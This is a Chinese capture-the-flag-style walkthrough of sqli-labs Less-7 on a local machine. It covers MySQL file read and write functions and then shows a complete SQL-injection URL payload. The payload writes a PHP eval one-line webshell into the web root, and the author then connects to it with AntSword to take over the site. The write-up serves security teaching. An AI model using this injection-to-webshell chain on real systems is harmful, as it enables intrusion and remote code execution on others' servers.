前序
首先欢迎大家来到第七关,在这一关我们将开始文件的一些读写操作。同样再开始之前,我们要进行一些知识点的补充,从而让我们可以深度了解关于文件的一些内容以及操作。
补充知识点
配置文件
首先我们需要配置一下我们的Mysql的my.ini文件;有些人可能已经配置好了,所以在这里我们先用命令进行查询:
show variables like '%secure%';
如果在这之前并未配置文件,则显示的结果为:
那我们需要在my.ini文件里修改,填上一句话:
secure_file_priv="/"
<br />添加的位置为:<br />
一句话木马
关于一句话木马的知识请大家点击这里,去我写的上传靶场漏洞进行学习…在这里就不在进行过多的陈述。
补充两个函数
into outfile
用法:可以将数据内容写入到指定的文件中;
例子:我们要把数据123写入到第七关对应的文件里,并命名为test文件;
操作如下:
找到第七关的文件路径,然后添加到SQL语句中:
select '123' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\test1.txt';
<br />结果如下:<br />
load_file()
用法:读取本地文件内容
例子:读取上述所写入的文件内容
使用的语句为:
select load_file('D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\test1.txt');
<br />结果为:<br /><br />成功读出!
正文
进入第七关!!!
在最开始,我们需要做的就是找到SQL注入的漏洞,所以我们在URL中输入:
http://127.0.0.1/sqli-labs/Less-7/?id=1
结果为:
可以看出,提示为使用outfile函数,在这里我们先不进行使用,我们继续寻找注入漏洞,所以继续使用URL为:
http://127.0.0.1/sqli-labs/Less-7/?id=1'
结果为:<br /><br />所以我们可以判断出来,存在注入漏洞!<br />根据题目的提示以及分析,我们知道正确的格式应该为:(('x'));
在这里我们直接使用union select与into outfile进行查询,并写入一句话木马;
URL为:
http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["123123"]);?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php' --+
报错信息:
不要急于查看报错信息,我们进入文件夹查看内容,发现存在写入的php文件,并且写入成功:
进入创建的文件页面,复制URL:
使用蚁剑进行连接!
成功获取网站的webshell权限!
第七关到此结束….